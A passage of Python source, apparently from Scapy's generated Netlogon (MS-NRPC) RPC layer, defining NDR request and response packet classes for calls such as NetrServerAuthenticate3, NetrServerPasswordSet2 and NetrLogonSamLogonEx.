NDRConfStrLenField(\"Message\", \"\", size_is=lambda pkt: pkt.MessageSize),\n        NDRIntField(\"MessageSize\", None, size_of=\"Message\"),\n    ]\n\n\nclass NetrLogonComputeClientDigest_Response(NDRPacket):\n    fields_desc = [\n        StrFixedLenField(\"NewMessageDigest\", \"\", length=16),\n        StrFixedLenField(\"OldMessageDigest\", \"\", length=16),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrServerAuthenticate3_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"ClientCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n        NDRIntField(\"NegotiateFlags\", 0),\n    ]\n\n\nclass NetrServerAuthenticate3_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ServerCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n        NDRIntField(\"NegotiateFlags\", 0),\n        NDRIntField(\"AccountRid\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrGetDcNameEx_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        NDRFullPointerField(NDRPacketField(\"DomainGuid\", GUID(), GUID)),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"SiteName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass DsrGetDcNameEx_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DomainControllerInfo\",\n                PDOMAIN_CONTROLLER_INFOW(),\n                PDOMAIN_CONTROLLER_INFOW,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrGetSiteName_Request(NDRPacket):\n    fields_desc = [NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"))]\n\n\nclass DsrGetSiteName_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"SiteName\", \"\")),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NETLOGON_LSA_POLICY_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"LsaPolicySize\", None, size_of=\"LsaPolicy\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"LsaPolicy\", \"\", size_is=lambda pkt: pkt.LsaPolicySize)\n        ),\n    ]\n\n\nclass PNETLOGON_WORKSTATION_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"LsaPolicy\", NETLOGON_LSA_POLICY_INFO(), NETLOGON_LSA_POLICY_INFO\n        ),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DnsHostName\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"SiteName\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"Dummy1\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"Dummy2\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"Dummy3\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"Dummy4\", \"\")),\n        NDRPacketField(\"OsVersion\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"OsName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"WorkstationFlags\", 0),\n        NDRIntField(\"KerberosSupportedEncryptionTypes\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass NETLOGON_ONE_DOMAIN_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"DomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DnsDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DnsForestName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DomainGuid\", GUID(), GUID),\n        NDRFullEmbPointerField(NDRPacketField(\"DomainSid\", PRPC_SID(), PRPC_SID)),\n        NDRPacketField(\"TrustExtension\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_ONE_DOMAIN_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"DomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DnsDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DnsForestName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DomainGuid\", GUID(), GUID),\n        NDRFullEmbPointerField(NDRPacketField(\"DomainSid\", PRPC_SID(), PRPC_SID)),\n        NDRPacketField(\"TrustExtension\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DOMAIN_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\n            \"PrimaryDomain\", NETLOGON_ONE_DOMAIN_INFO(), NETLOGON_ONE_DOMAIN_INFO\n        ),\n        NDRIntField(\"TrustedDomainCount\", None, size_of=\"TrustedDomains\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"TrustedDomains\",\n                [],\n                PNETLOGON_ONE_DOMAIN_INFO,\n                size_is=lambda pkt: pkt.TrustedDomainCount,\n            )\n        ),\n        NDRPacketField(\n            \"LsaPolicy\", NETLOGON_LSA_POLICY_INFO(), NETLOGON_LSA_POLICY_INFO\n        ),\n        NDRPacketField(\"DnsHostNameInDs\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"WorkstationFlags\", 0),\n        NDRIntField(\"SupportedEncTypes\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_LSA_POLICY_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"LsaPolicySize\", None, size_of=\"LsaPolicy\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"LsaPolicy\", \"\", size_is=lambda pkt: pkt.LsaPolicySize)\n        ),\n    ]\n\n\nclass NetrLogonGetDomainInfo_Request(NDRPacket):\n    fields_desc = [\n        NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"Level\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaBuffer\",\n                            PNETLOGON_WORKSTATION_INFO(),\n                            PNETLOGON_WORKSTATION_INFO,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"WkstaBuffer\",\n                            PNETLOGON_WORKSTATION_INFO(),\n                            PNETLOGON_WORKSTATION_INFO,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"WkstaBuffer\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrLogonGetDomainInfo_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"DomBuffer\", PNETLOGON_DOMAIN_INFO(), PNETLOGON_DOMAIN_INFO\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"DomBuffer\",\n                            PNETLOGON_LSA_POLICY_INFO(),\n                            PNETLOGON_LSA_POLICY_INFO,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"DomBuffer\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNL_TRUST_PASSWORD(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        StrFixedLenFieldUtf16(\"Buffer\", \"\", length=256 * 2),\n        NDRIntField(\"Length\", 0),\n    ]\n\n\nclass NetrServerPasswordSet2_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\"ClearNewPassword\", PNL_TRUST_PASSWORD(), PNL_TRUST_PASSWORD),\n    ]\n\n\nclass NetrServerPasswordSet2_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrServerPasswordGet_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"AccountType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n    ]\n\n\nclass NetrServerPasswordGet_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"EncryptedNtOwfPassword\",\n            PENCRYPTED_NT_OWF_PASSWORD(),\n            PENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonSendToSam_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRConfStrLenField(\n            \"OpaqueBuffer\", \"\", size_is=lambda pkt: pkt.OpaqueBufferSize\n        ),\n        NDRIntField(\"OpaqueBufferSize\", None, size_of=\"OpaqueBuffer\"),\n    ]\n\n\nclass NetrLogonSendToSam_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNL_SOCKET_ADDRESS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"lpSockaddr\", \"\", size_is=lambda pkt: pkt.iSockaddrLength\n            )\n        ),\n        NDRIntField(\"iSockaddrLength\", None, size_of=\"lpSockaddr\"),\n    ]\n\n\nclass PNL_SITE_NAME_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntryCount\", None, size_of=\"SiteNames\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"SiteNames\", [], PUNICODE_STRING, size_is=lambda pkt: pkt.EntryCount\n            )\n        ),\n    ]\n\n\nclass DsrAddressToSiteNamesW_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRIntField(\"EntryCount\", None, size_of=\"SocketAddresses\"),\n        NDRConfPacketListField(\n            \"SocketAddresses\",\n            [],\n            PNL_SOCKET_ADDRESS,\n            size_is=lambda pkt: pkt.EntryCount,\n        ),\n    ]\n\n\nclass DsrAddressToSiteNamesW_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\"SiteNames\", PNL_SITE_NAME_ARRAY(), PNL_SITE_NAME_ARRAY)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrGetDcNameEx2_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\")),\n        NDRIntField(\"AllowableAccountControlBits\", 0),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        NDRFullPointerField(NDRPacketField(\"DomainGuid\", GUID(), GUID)),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"SiteName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass DsrGetDcNameEx2_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"DomainControllerInfo\",\n                PDOMAIN_CONTROLLER_INFOW(),\n                PDOMAIN_CONTROLLER_INFOW,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonGetTimeServiceParentDomain_Request(NDRPacket):\n    fields_desc = [NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"))]\n\n\nclass NetrLogonGetTimeServiceParentDomain_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DomainName\", \"\")),\n        NDRSignedIntField(\"PdcSameSite\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PDS_DOMAIN_TRUSTSW(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"NetbiosDomainName\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DnsDomainName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n        NDRIntField(\"ParentIndex\", 0),\n        NDRIntField(\"TrustType\", 0),\n        NDRIntField(\"TrustAttributes\", 0),\n        NDRFullEmbPointerField(NDRPacketField(\"DomainSid\", PRPC_SID(), PRPC_SID)),\n        NDRPacketField(\"DomainGuid\", GUID(), GUID),\n    ]\n\n\nclass PNETLOGON_TRUSTED_DOMAIN_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"DomainCount\", None, size_of=\"Domains\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Domains\", [], PDS_DOMAIN_TRUSTSW, size_is=lambda pkt: pkt.DomainCount\n            )\n        ),\n    ]\n\n\nclass NetrEnumerateTrustedDomainsEx_Request(NDRPacket):\n    fields_desc = [NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"))]\n\n\nclass NetrEnumerateTrustedDomainsEx_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"Domains\", PNETLOGON_TRUSTED_DOMAIN_ARRAY(), PNETLOGON_TRUSTED_DOMAIN_ARRAY\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNL_SITE_NAME_EX_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntryCount\", None, size_of=\"SubnetNames\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"SiteNames\", [], PUNICODE_STRING, size_is=lambda pkt: pkt.EntryCount\n            )\n        ),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"SubnetNames\", [], PUNICODE_STRING, size_is=lambda pkt: pkt.EntryCount\n            )\n        ),\n    ]\n\n\nclass DsrAddressToSiteNamesExW_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRIntField(\"EntryCount\", None, size_of=\"SocketAddresses\"),\n        NDRConfPacketListField(\n            \"SocketAddresses\",\n            [],\n            PNL_SOCKET_ADDRESS,\n            size_is=lambda pkt: pkt.EntryCount,\n        ),\n    ]\n\n\nclass DsrAddressToSiteNamesExW_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"SiteNames\", PNL_SITE_NAME_EX_ARRAY(), PNL_SITE_NAME_EX_ARRAY\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrGetDcSiteCoverageW_Request(NDRPacket):\n    fields_desc = [NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\"))]\n\n\nclass DsrGetDcSiteCoverageW_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\"SiteNames\", PNL_SITE_NAME_ARRAY(), PNL_SITE_NAME_ARRAY)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonSamLogonEx_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"LogonServer\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRInt3264EnumField(\"LogonLevel\", 0, NETLOGON_LOGON_INFO_CLASS),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_GENERIC_INFO(),\n                            PNETLOGON_GENERIC_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_TICKET_LOGON_INFO(),\n                            PNETLOGON_TICKET_LOGON_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"LogonInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRInt3264EnumField(\"ValidationLevel\", 0, NETLOGON_VALIDATION_INFO_CLASS),\n        NDRIntField(\"ExtraFlags\", 0),\n    ]\n\n\nclass NetrLogonSamLogonEx_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO(),\n                            PNETLOGON_VALIDATION_SAM_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO2(),\n                            PNETLOGON_VALIDATION_SAM_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_GENERIC_INFO2(),\n                            PNETLOGON_VALIDATION_GENERIC_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO4(),\n                            PNETLOGON_VALIDATION_SAM_INFO4,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_TICKET_LOGON(),\n                            PNETLOGON_VALIDATION_TICKET_LOGON,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"ValidationInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRByteField(\"Authoritative\", 0),\n        NDRIntField(\"ExtraFlags\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrEnumerateDomainTrusts_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass DsrEnumerateDomainTrusts_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"Domains\", PNETLOGON_TRUSTED_DOMAIN_ARRAY(), PNETLOGON_TRUSTED_DOMAIN_ARRAY\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass DsrDeregisterDnsHostRecords_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DnsDomainName\", \"\")),\n        NDRFullPointerField(NDRPacketField(\"DomainGuid\", GUID(), GUID)),\n        NDRFullPointerField(NDRPacketField(\"DsaGuid\", GUID(), GUID)),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"DnsHostName\", \"\")),\n    ]\n\n\nclass DsrDeregisterDnsHostRecords_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass NetrServerTrustPasswordsGet_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"TrustedDcName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n    ]\n\n\nclass NetrServerTrustPasswordsGet_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", 